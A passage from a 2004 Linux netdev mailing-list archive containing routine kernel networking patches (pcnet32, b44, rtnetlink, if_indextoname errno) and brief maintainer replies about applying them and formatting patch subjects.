    --=_alternative 0071C18807256EA0_=-- From brazilnut@us.ibm.com Wed May 26 13:43:03 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 26 May 2004 13:43:05 -0700 (PDT) Received: from e32.co.us.ibm.com (e32.co.us.ibm.com [32.97.110.130]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4QKh3gi014566 for ; Wed, 26 May 2004 13:43:03 -0700 Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.17.195.11]) by e32.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i4QKguY0741058; Wed, 26 May 2004 16:42:56 -0400 Received: from DYN318364BLD.beaverton.ibm.com (d03av02.boulder.ibm.com [9.17.195.168]) by westrelay02.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i4QKgtY4350818; Wed, 26 May 2004 14:42:55 -0600 Received: (from donf@localhost) by DYN318364BLD.beaverton.ibm.com (8.11.6/8.11.6) id i4QKgUV27910; Wed, 26 May 2004 13:42:30 -0700 From: Don Fry Message-Id: <200405262042.i4QKgUV27910@DYN318364BLD.beaverton.ibm.com> Subject: [PATCH 8/5 2.4.27-pre3] pcnet32: correct printk for big-endian arch To: tsbogend@alpha.franken.de, jgarzik@pobox.com, netdev@oss.sgi.com Date: Wed, 26 May 2004 13:42:29 -0700 (PDT) X-Mailer: ELM [version 2.5 PL6] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 5357 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: brazilnut@us.ibm.com Precedence: bulk X-list: netdev This patch corrects a printk when executed on a big-endian system. --- linux-2.4.27-pre3/drivers/net/anr.pcnet32.c Mon May 24 11:35:41 2004 +++ linux-2.4.27-pre3/drivers/net/pcnet32.c Wed May 26 12:30:23 2004 @@ -1632,12 +1632,16 @@ lp->cur_rx); for (i = 0 ; i < RX_RING_SIZE; i++) printk("%s %08x %04x %08x %04x", i & 1 ? "" : "\n ", - lp->rx_ring[i].base, -lp->rx_ring[i].buf_length, - lp->rx_ring[i].msg_length, (unsigned)lp->rx_ring[i].status); + le32_to_cpu(lp->rx_ring[i].base), + le16_to_cpu(-lp->rx_ring[i].buf_length), + le32_to_cpu(lp->rx_ring[i].msg_length), + le16_to_cpu((unsigned)lp->rx_ring[i].status)); for (i = 0 ; i < TX_RING_SIZE; i++) printk("%s %08x %04x %08x %04x", i & 1 ? "" : "\n ", - lp->tx_ring[i].base, -lp->tx_ring[i].length, - lp->tx_ring[i].misc, (unsigned)lp->tx_ring[i].status); + le32_to_cpu(lp->tx_ring[i].base), + le16_to_cpu(-lp->tx_ring[i].length), + le32_to_cpu(lp->tx_ring[i].misc), + le16_to_cpu((unsigned)lp->tx_ring[i].status)); printk("\n"); } pcnet32_restart(dev, 0x0042); -- Don Fry brazilnut@us.ibm.com From davem@redhat.com Wed May 26 13:45:04 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 26 May 2004 13:45:05 -0700 (PDT) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4QKj3gi015379 for ; Wed, 26 May 2004 13:45:04 -0700 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.12.10/8.12.10) with ESMTP id i4QKj0i5003647; Wed, 26 May 2004 16:45:00 -0400 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i4QKj0009609; Wed, 26 May 2004 16:45:00 -0400 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i4QKirhk032002; Wed, 26 May 2004 16:44:54 -0400 Date: Wed, 26 May 2004 13:44:15 -0700 From: "David S. Miller" To: Shirley Ma Cc: mashirle@us.ibm.com, netdev@oss.sgi.com, yoshfuji@linux-ipv6.org Subject: Re: [PATCH]Add new IPv6 MIBs counters support through netlink Message-Id: <20040526134415.483a6384.davem@redhat.com> In-Reply-To: References: <20040526132215.06e0bc12.davem@redhat.com> X-Mailer: Sylpheed version 0.9.10 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5358 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Wed, 26 May 2004 13:42:23 -0700 Shirley Ma wrote: > Yes, same structure ip_stats applys to IPv4 as well. Great, patch applied. From mashirle@us.ibm.com Wed May 26 13:50:40 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 26 May 2004 13:50:42 -0700 (PDT) Received: from e32.co.us.ibm.com (e32.co.us.ibm.com [32.97.110.130]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4QKodgi016039 for ; Wed, 26 May 2004 13:50:39 -0700 Received: from westrelay04.boulder.ibm.com (westrelay04.boulder.ibm.com [9.17.193.32]) by e32.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i4QKoYY0622348; Wed, 26 May 2004 16:50:34 -0400 Received: from DYN318263BLD.beaverton.ibm.com (d03av02.boulder.ibm.com [9.17.195.168]) by westrelay04.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i4QKoWRV200766; Wed, 26 May 2004 14:50:33 -0600 From: Shirley Ma To: davem@redhat.com Subject: [PATCH] IFA_MAX sets wrong in rtnetlink.h Date: Wed, 26 May 2004 13:50:39 -0700 User-Agent: KMail/1.5.4 Cc: netdev@oss.sgi.com, xma@us.ibm.com References: <200403171130.30282.mashirle@us.ibm.com> <200405261319.55787.mashirle@us.ibm.com> In-Reply-To: <200405261319.55787.mashirle@us.ibm.com> MIME-Version: 1.0 Content-Type: Multipart/Mixed; boundary="Boundary-00=_fMQtAzgrdHz5Ynj" Message-Id: <200405261350.39088.mashirle@us.ibm.com> X-archive-position: 5359 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: mashirle@us.ibm.com Precedence: bulk X-list: netdev --Boundary-00=_fMQtAzgrdHz5Ynj Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline A tiny patch here for 2.6.6 kernel. -- Thanks Shirley Ma IBM Linux Technology Center --Boundary-00=_fMQtAzgrdHz5Ynj Content-Type: text/x-diff; charset="iso-8859-1"; name="linux-2.6.6-max.patch" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="linux-2.6.6-max.patch" diff -urN linux-2.6.6/include/linux/rtnetlink.h linux-2.6.6-max/include/linux/rtnetlink.h --- linux-2.6.6/include/linux/rtnetlink.h 2004-05-09 19:33:13.000000000 -0700 +++ linux-2.6.6-max/include/linux/rtnetlink.h 2004-05-26 13:47:20.535090648 -0700 @@ -348,7 +348,7 @@ IFA_MULTICAST }; -#define IFA_MAX IFA_CACHEINFO +#define IFA_MAX IFA_MULTICAST /* ifa_flags */ --Boundary-00=_fMQtAzgrdHz5Ynj-- From brazilnut@us.ibm.com Wed May 26 13:53:30 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 26 May 2004 13:53:34 -0700 (PDT) Received: from e31.co.us.ibm.com (e31.co.us.ibm.com [32.97.110.129]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4QKrTgi016397 for ; Wed, 26 May 2004 13:53:30 -0700 Received: from westrelay04.boulder.ibm.com (westrelay04.boulder.ibm.com [9.17.193.32]) by e31.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i4QKrKAb261584; Wed, 26 May 2004 16:53:20 -0400 Received: from DYN318364BLD.beaverton.ibm.com (d03av02.boulder.ibm.com [9.17.195.168]) by westrelay04.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i4QKrJRV162000; Wed, 26 May 2004 14:53:19 -0600 Received: (from donf@localhost) by DYN318364BLD.beaverton.ibm.com (8.11.6/8.11.6) id i4QKqss27931; Wed, 26 May 2004 13:52:54 -0700 From: Don Fry Message-Id: <200405262052.i4QKqss27931@DYN318364BLD.beaverton.ibm.com> Subject: [PATCH 9/5 2.6.6-bk8] pcnet32: avoid timeout with tcpdump To: tsbogend@alpha.franken.de, jgarzik@pobox.com, netdev@oss.sgi.com Date: Wed, 26 May 2004 13:52:53 -0700 (PDT) X-Mailer: ELM [version 2.5 PL6] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 5360 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: brazilnut@us.ibm.com Precedence: bulk X-list: netdev This patch avoids a timeout when entering/exiting promiscuous mode with tcpdump. All pending xmit operations are flushed and if the queue is full the timeout will occur. The wake_queue avoids that timeout. Tested ppc64 and ia32. --- linux-2.6.6-bk8/drivers/net/big.pcnet32.c Wed May 26 12:23:09 2004 +++ linux-2.6.6-bk8/drivers/net/pcnet32.c Wed May 26 12:24:37 2004 @@ -22,8 +22,8 @@ *************************************************************************/ #define DRV_NAME "pcnet32" -#define DRV_VERSION "1.30b" -#define DRV_RELDATE "05.24.2004" +#define DRV_VERSION "1.30c" +#define DRV_RELDATE "05.25.2004" #define PFX DRV_NAME ": " static const char *version = @@ -244,6 +244,7 @@ * v1.30a 22 May 2004 Don Fry limit frames received during interrupt. * v1.30b 24 May 2004 Don Fry fix bogus tx carrier errors with 79c973, * assisted by Bruce Penrod . + * v1.30c 25 May 2004 Don Fry added netif_wake_queue after pcnet32_restart. */ @@ -1859,6 +1860,7 @@ /* stop the chip to clear the error condition, then restart */ lp->a.write_csr (ioaddr, 0, 0x0004); pcnet32_restart(dev, 0x0002); + netif_wake_queue(dev); } } @@ -2130,8 +2132,9 @@ } lp->a.write_csr (ioaddr, 0, 0x0004); /* Temporarily stop the lance. */ - pcnet32_restart(dev, 0x0042); /* Resume normal operation */ + netif_wake_queue(dev); + spin_unlock_irqrestore(&lp->lock, flags); } -- Don Fry brazilnut@us.ibm.com From brazilnut@us.ibm.com Wed May 26 13:55:40 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 26 May 2004 13:55:43 -0700 (PDT) Received: from e6.ny.us.ibm.com (e6.ny.us.ibm.com [32.97.182.106]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4QKtdgi016746 for ; Wed, 26 May 2004 13:55:40 -0700 Received: from northrelay02.pok.ibm.com (northrelay02.pok.ibm.com [9.56.224.150]) by e6.ny.us.ibm.com (8.12.10/8.12.2) with ESMTP id i4QKtWhF258450; Wed, 26 May 2004 16:55:32 -0400 Received: from DYN318364BLD.beaverton.ibm.com (d01av02.pok.ibm.com [9.56.224.216]) by northrelay02.pok.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i4QKuEqU065198; Wed, 26 May 2004 16:56:15 -0400 Received: (from donf@localhost) by DYN318364BLD.beaverton.ibm.com (8.11.6/8.11.6) id i4QKt6B27943; Wed, 26 May 2004 13:55:06 -0700 From: Don Fry Message-Id: <200405262055.i4QKt6B27943@DYN318364BLD.beaverton.ibm.com> Subject: [PATCH 9/5 2.4.27-pre3] pcnet32: avoid timeout with tcpdump To: tsbogend@alpha.franken.de, jgarzik@pobox.com, netdev@oss.sgi.com Date: Wed, 26 May 2004 13:55:06 -0700 (PDT) X-Mailer: ELM [version 2.5 PL6] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 5361 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: brazilnut@us.ibm.com Precedence: bulk X-list: netdev This patch avoids a timeout when entering/exiting promiscuous mode with tcpdump. All pending xmit operations are flushed and if the queue is full the timeout will occur. The wake_queue avoids that timeout. --- linux-2.4.27-pre3/drivers/net/big.pcnet32.c Wed May 26 12:30:23 2004 +++ linux-2.4.27-pre3/drivers/net/pcnet32.c Wed May 26 12:30:36 2004 @@ -22,8 +22,8 @@ *************************************************************************/ #define DRV_NAME "pcnet32" -#define DRV_VERSION "1.30b" -#define DRV_RELDATE "05.24.2004" +#define DRV_VERSION "1.30c" +#define DRV_RELDATE "05.25.2004" #define PFX DRV_NAME ": " static const char *version = @@ -244,6 +244,7 @@ * v1.30a 22 May 2004 Don Fry limit frames received during interrupt. * v1.30b 24 May 2004 Don Fry fix bogus tx carrier errors with 79c973, * assisted by Bruce Penrod . + * v1.30c 25 May 2004 Don Fry added netif_wake_queue after pcnet32_restart. */ @@ -1858,6 +1859,7 @@ /* stop the chip to clear the error condition, then restart */ lp->a.write_csr (ioaddr, 0, 0x0004); pcnet32_restart(dev, 0x0002); + netif_wake_queue(dev); } } @@ -2123,8 +2125,9 @@ } lp->a.write_csr (ioaddr, 0, 0x0004); /* Temporarily stop the lance. */ - pcnet32_restart(dev, 0x0042); /* Resume normal operation */ + netif_wake_queue(dev); + spin_unlock_irqrestore(&lp->lock, flags); } -- Don Fry brazilnut@us.ibm.com From davem@redhat.com Wed May 26 13:56:54 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 26 May 2004 13:56:56 -0700 (PDT) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4QKurgi017077 for ; Wed, 26 May 2004 13:56:54 -0700 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.12.10/8.12.10) with ESMTP id i4QKuri5007570; Wed, 26 May 2004 16:56:53 -0400 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i4QKur013565; Wed, 26 May 2004 16:56:53 -0400 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i4QKulhk005833; Wed, 26 May 2004 16:56:48 -0400 Date: Wed, 26 May 2004 13:56:10 -0700 From: "David S. Miller" To: Shirley Ma Cc: netdev@oss.sgi.com, xma@us.ibm.com Subject: Re: [PATCH] IFA_MAX sets wrong in rtnetlink.h Message-Id: <20040526135610.2ecaa96a.davem@redhat.com> In-Reply-To: <200405261350.39088.mashirle@us.ibm.com> References: <200403171130.30282.mashirle@us.ibm.com> <200405261319.55787.mashirle@us.ibm.com> <200405261350.39088.mashirle@us.ibm.com> X-Mailer: Sylpheed version 0.9.10 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5362 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Wed, 26 May 2004 13:50:39 -0700 Shirley Ma wrote: > A tiny patch here for 2.6.6 kernel. Good catch, patch applied. From srompf@isg.de Wed May 26 14:55:04 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 26 May 2004 14:55:11 -0700 (PDT) Received: from mail.isg.de (rzfoobar.is-asp.com [217.11.194.155]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4QLsrgi019838 for ; Wed, 26 May 2004 14:54:54 -0700 Received: from 192.168.0.9 (pD9EA75CA.dip.t-dialin.net [217.234.117.202]) by mail.isg.de (Postfix) with ESMTP id 55991188551B; Wed, 26 May 2004 23:16:12 +0200 (CEST) From: Stefan Rompf To: netdev@oss.sgi.com, davem@redhat.com Subject: Patch: b44.c: Always restore pci config on resume Date: Wed, 26 May 2004 23:17:30 +0200 User-Agent: KMail/1.6.2 MIME-Version: 1.0 Content-Disposition: inline Content-Type: Multipart/Mixed; boundary="Boundary-00=_slQtANxsvxnf7oo" Message-Id: <200405262317.32299.srompf@isg.de> X-archive-position: 5363 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: srompf@isg.de Precedence: bulk X-list: netdev --Boundary-00=_slQtANxsvxnf7oo Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Content-Disposition: inline Hi, the Broadcom BCM4401 driver restores pci configuration on resume only when the device is up. On my notebook, this leads to a failure when the device is down during the S3 cycle. Short solution for now: Always restore pci config. Patch against 2.6.7rc1 attached, please apply. Stefan --Boundary-00=_slQtANxsvxnf7oo Content-Type: text/x-diff; charset="us-ascii"; name="b44-resume.diff" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="b44-resume.diff" --- linux-2.6.7rc1-orig/drivers/net/b44.c 2004-05-26 23:00:59.474435392 +0200 +++ linux-2.6.7rc1/drivers/net/b44.c 2004-05-26 22:22:12.000000000 +0200 @@ -1882,11 +1882,11 @@ static int b44_resume(struct pci_dev *pd struct net_device *dev = pci_get_drvdata(pdev); struct b44 *bp = dev->priv; + pci_restore_state(pdev, bp->pci_cfg_state); + if (!netif_running(dev)) return 0; - pci_restore_state(pdev, bp->pci_cfg_state); - spin_lock_irq(&bp->lock); b44_init_rings(bp); --Boundary-00=_slQtANxsvxnf7oo-- From dlstevens@us.ibm.com Wed May 26 15:15:16 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 26 May 2004 15:15:19 -0700 (PDT) Received: from e33.co.us.ibm.com (e33.co.us.ibm.com [32.97.110.131]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4QMFFgi020443 for ; Wed, 26 May 2004 15:15:16 -0700 Received: from westrelay04.boulder.ibm.com (westrelay04.boulder.ibm.com [9.17.193.32]) by e33.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i4QMF9wc346300 for ; Wed, 26 May 2004 18:15:09 -0400 Received: from d03nm121.boulder.ibm.com (d03av02.boulder.ibm.com [9.17.195.168]) by westrelay04.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i4QMF8RV200824 for ; Wed, 26 May 2004 16:15:09 -0600 To: davem@redhat.com Cc: netdev@oss.sgi.com MIME-Version: 1.0 Subject: [PATCH] trivial patch for if_indextoname() X-Mailer: Lotus Notes Release 6.0.2CF1 June 9, 2003 Message-ID: From: David Stevens Date: Wed, 26 May 2004 16:15:07 -0600 X-MIMETrack: Serialize by Router on D03NM121/03/M/IBM(Release 6.0.2CF2HF259 | March 11, 2004) at 05/26/2004 16:15:08 Content-Type: multipart/mixed; boundary="=_mixed 007A2D6F88256EA0_=" X-archive-position: 5364 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: dlstevens@us.ibm.com Precedence: bulk X-list: netdev --=_mixed 007A2D6F88256EA0_= Content-Type: text/plain; charset="US-ASCII" RFC3493 (section 4.2) specifies that an invalid interface name passed to if_indextoname() should return NULL with errno of ENXIO. The current code sets errno to ENODEV for this case. This could be remapped in glibc, but since the comment for kernel function dev_ifname() says it's specifically for if_indextoname(), maybe it should be fixed here. +-DLS --- net/core/dev.c.orig 2004-05-09 19:32:37.000000000 -0700 +++ net/core/dev.c 2004-05-26 14:54:37.378210416 -0700 @@ -1927,7 +1927,7 @@ dev = __dev_get_by_index(ifr.ifr_ifindex); if (!dev) { read_unlock(&dev_base_lock); - return -ENODEV; + return -ENXIO; } strcpy(ifr.ifr_name, dev->name); --=_mixed 007A2D6F88256EA0_= Content-Type: application/octet-stream; name="if_indextoname.patch" Content-Disposition: attachment; filename="if_indextoname.patch" Content-Transfer-Encoding: base64 LS0tIG5ldC9jb3JlL2Rldi5jLm9yaWcJMjAwNC0wNS0wOSAxOTozMjozNy4wMDAwMDAwMDAgLTA3 MDAKKysrIG5ldC9jb3JlL2Rldi5jCTIwMDQtMDUtMjYgMTQ6NTQ6MzcuMzc4MjEwNDE2IC0wNzAw CkBAIC0xOTI3LDcgKzE5MjcsNyBAQAogCWRldiA9IF9fZGV2X2dldF9ieV9pbmRleChpZnIuaWZy X2lmaW5kZXgpOwogCWlmICghZGV2KSB7CiAJCXJlYWRfdW5sb2NrKCZkZXZfYmFzZV9sb2NrKTsK LQkJcmV0dXJuIC1FTk9ERVY7CisJCXJldHVybiAtRU5YSU87CiAJfQogCiAJc3RyY3B5KGlmci5p ZnJfbmFtZSwgZGV2LT5uYW1lKTsK --=_mixed 007A2D6F88256EA0_=-- From brazilnut@us.ibm.com Wed May 26 15:15:56 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 26 May 2004 15:16:08 -0700 (PDT) Received: from e31.co.us.ibm.com (e31.co.us.ibm.com [32.97.110.129]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4QMFugi020572 for ; Wed, 26 May 2004 15:15:56 -0700 Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.17.195.11]) by e31.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i4QMFoAb186958; Wed, 26 May 2004 18:15:50 -0400 Received: from DYN318364BLD.beaverton.ibm.com (d03av02.boulder.ibm.com [9.17.195.168]) by westrelay02.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i4QMFnY4269916; Wed, 26 May 2004 16:15:50 -0600 Received: (from donf@localhost) by DYN318364BLD.beaverton.ibm.com (8.11.6/8.11.6) id i4QMFOO28045; Wed, 26 May 2004 15:15:24 -0700 From: Don Fry Message-Id: <200405262215.i4QMFOO28045@DYN318364BLD.beaverton.ibm.com> Subject: Re: [PATCH 0/5] 2.4.27-pre3 pcnet32.c To: jgarzik@pobox.com (Jeff Garzik) Date: Wed, 26 May 2004 15:15:23 -0700 (PDT) Cc: netdev@oss.sgi.com In-Reply-To: <40AE7049.80900@pobox.com> from "Jeff Garzik" at May 21, 2004 05:10:33 PM X-Mailer: ELM [version 2.5 PL6] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 5365 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: brazilnut@us.ibm.com Precedence: bulk X-list: netdev Jeff, Three more questions. 1) Should there be a patch number when the number of patches is not known in advance, or should it be omitted? [PATCH 1 2.4.27] pcnet32: whatever [PATCH 2 2.4.27] pcnet32: something else 2) If a group of patches is submitted and then more bugs are discovered which should be fixed, what should I do? [PATCH 5/5 2.4.27] pcnet32: ... [PATCH 6 2.4.27] pcnet32: a couple days later 3) If an error is discovered in a patch and the patch itself should be fixed, how would you like that indicated? [PATCH 8/5 2.4.27] pcnet32: submitted [PATCH 8/5 2.4.27] pcnet32: oops, this should be different. > > Don Fry wrote: > Status: O > > > Please apply the following patches to 2.4.27-pre3. The first four are simple > > "one line" fixes. The last removes the timer I added a little while ago, > > as it added complexity without improving performance. > > > > [PATCH 1/5] 2.4.27-pre3 pcnet32 add static to two routines. > > [PATCH 2/5] 2.4.27-pre3 pcnet32 avoid hard hang with some chip variants. > > [PATCH 3/5] 2.4.27-pre3 pcnet32 correct 79C976 variant string. > > [PATCH 4/5] 2.4.27-pre3 pcnet32 fix boundary comparison bug. > > [PATCH 5/5] 2.4.27-pre3 pcnet32 remove timer and complexity. > > > It would help me a lot if you changed your email subject line in two > minor ways: > > 1) Include the kernel version _inside_ the brackets, > > [PATCH 1/5 2.4.27-pre3] > > 2) Just to make it look a tad nicer and more consistent with other > changelog entries, add a colon after the driver name: > > [PATCH 1/5 2.6.6] pcnet32: mark two routines static > > This allows me to pass your submission fully automated through scripts. > The resultant one-line description of your patch becomes > > [PATCH] pcnet32: mark two routines static > > when my scripts merge your patch into the BK repository. > -- Don Fry brazilnut@us.ibm.com From davem@redhat.com Wed May 26 15:18:35 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 26 May 2004 15:18:48 -0700 (PDT) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4QMIYgi021063 for ; Wed, 26 May 2004 15:18:35 -0700 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.12.10/8.12.10) with ESMTP id i4QMIYi5030315; Wed, 26 May 2004 18:18:34 -0400 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i4QMIY006839; Wed, 26 May 2004 18:18:34 -0400 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i4QMIThk012115; Wed, 26 May 2004 18:18:29 -0400 Date: Wed, 26 May 2004 15:17:51 -0700 From: "David S. Miller" To: David Stevens Cc: netdev@oss.sgi.com Subject: Re: [PATCH] trivial patch for if_indextoname() Message-Id: <20040526151751.73752ea2.davem@redhat.com> In-Reply-To: References: X-Mailer: Sylpheed version 0.9.10 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5366 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Wed, 26 May 2004 16:15:07 -0600 David Stevens wrote: > RFC3493 (section 4.2) specifies that an invalid interface name > passed to if_indextoname() should return NULL with errno of ENXIO. > The current code sets errno to ENODEV for this case. > > This could be remapped in glibc, but since the comment for > kernel function dev_ifname() says it's specifically for > if_indextoname(), maybe it should be fixed here. How is the SIOCGIFNAME interface specified in this case? (ie. what does BSD do?) I bet a bunch of stuff will break if we change this. From dlstevens@us.ibm.com Wed May 26 15:34:55 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 26 May 2004 15:35:01 -0700 (PDT) Received: from e35.co.us.ibm.com (e35.co.us.ibm.com [32.97.110.133]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4QMYngi021587 for ; Wed, 26 May 2004 15:34:55 -0700 Received: from westrelay04.boulder.ibm.com (westrelay04.boulder.ibm.com [9.17.193.32]) by e35.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i4QMYhqF646656 for ; Wed, 26 May 2004 18:34:43 -0400 Received: from d03nm121.boulder.ibm.com (d03av02.boulder.ibm.com [9.17.195.168]) by westrelay04.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i4QMYgRV138458 for ; Wed, 26 May 2004 16:34:43 -0600 In-Reply-To: <20040526151751.73752ea2.davem@redhat.com> To: "David S. Miller" Cc: netdev@oss.sgi.com MIME-Version: 1.0 Subject: Re: [PATCH] trivial patch for if_indextoname() X-Mailer: Lotus Notes Release 6.0.2CF1 June 9, 2003 Message-ID: From: David Stevens Date: Wed, 26 May 2004 15:34:41 -0700 X-MIMETrack: Serialize by Router on D03NM121/03/M/IBM(Release 6.0.2CF2HF259 | March 11, 2004) at 05/26/2004 16:34:42, Serialize complete at 05/26/2004 16:34:42 Content-Type: text/plain; charset="US-ASCII" X-archive-position: 5367 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: dlstevens@us.ibm.com Precedence: bulk X-list: netdev Dave Miller wrote on 05/26/2004 03:17:51 PM: > How is the SIOCGIFNAME interface specified in this case? > (ie. what does BSD do?) I bet a bunch of stuff will > break if we change this. I don't know if it exists in a standard; I'll see if I can figure out what BSD is doing. The glibc code for if_indextoname() appears to do the same thing for Linux as BSD, so if BSD doesn't return ENXIO, it'd be broken for RFC3493 too. But remapping it in glibc is safer I suppose. +-DLS From yoshfuji@linux-ipv6.org Wed May 26 16:07:57 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 26 May 2004 16:08:01 -0700 (PDT) Received: from yue.hongo.wide.ad.jp ([203.178.140.15]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4QN7sgi022517 for ; Wed, 26 May 2004 16:07:55 -0700 Received: from localhost (localhost [127.0.0.1]) by yue.hongo.wide.ad.jp (Postfix) with ESMTP id D942D33CE5; Thu, 27 May 2004 08:08:28 +0900 (JST) Date: Thu, 27 May 2004 08:08:28 +0900 (JST) Message-Id: <20040527.080828.06774575.yoshfuji@linux-ipv6.org> To: davem@redhat.com Cc: xma@us.ibm.com, mashirle@us.ibm.com, netdev@oss.sgi.com, yoshfuji@linux-ipv6.org Subject: Re: [PATCH]Add new IPv6 MIBs counters support through netlink From: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= In-Reply-To: <20040526134415.483a6384.davem@redhat.com> References: 